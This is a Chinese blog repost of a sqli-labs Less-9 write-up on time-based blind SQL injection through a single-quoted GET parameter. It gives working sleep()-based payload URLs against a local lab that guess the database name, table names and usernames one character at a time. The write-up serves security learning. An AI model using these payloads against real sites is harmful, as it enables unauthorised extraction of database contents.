码迷,mamicode.com
首页 > 数据库 > 详细

sqli-labs(9)

时间:2019-05-23 09:22:12      阅读:118      评论:0      收藏:0      [点我收藏+]

标签:基于   就是   mat   直接   ascii   code   重定向   sleep   数据库   

基于时间的GET单引号盲注

0x01爱之初试探

在我们注入了SQL代码之后,存在以下两种情况:

  • 如果注入的SQL代码不影响后台[数据库]的正常功能执行,那么Web应用的页面显示正确(原始页面)。
  • 如果注入的SQL代码影响后台数据库的正常功能(产生了SQL注入),但是此时Web应用的页面依旧显示正常(原因是Web应用程序采取了“重定向”或“屏蔽”措施)。

接下来,学习基于时间型SQL盲注。

我们在这里使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。

0x02爱之初体验

步骤一 枚举出当前数据库名

先判断能不能基于时间盲注来展开注入错误的语句 等了5秒才返回的 能基于时间的错误进行盲注

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20sleep(5)%20%23

爆当前数据库民称 这里我们使用二分法进行

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E114,%200,sleep(5))%20%23

立刻返回 证明第一个字母大于114

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E115,%200,sleep(5))%20%23

过了5秒才返回 证明字母小<115 应该是ascii115 s

这里我们假设我们把库民报出来了 我们要爆表民

0X02爆表名

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100,%200,sleep(5))%20%23

直接返回大于100

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E105,%200,sleep(5))%20%23

过了5秒才返回  那么这是错误的

101-105之间

这里就不一一举例了

爆列名 一样的构造方法

这里来看一下爆字段的语句构造方法

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E100,%200,sleep(5))%20%23

这里 小编还是想去写一个脚本

等以后发出来吧

 

sqli-labs(9)

标签:基于   就是   mat   直接   ascii   code   重定向   sleep   数据库   

原文地址:https://www.cnblogs.com/-zhong/p/10909853.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!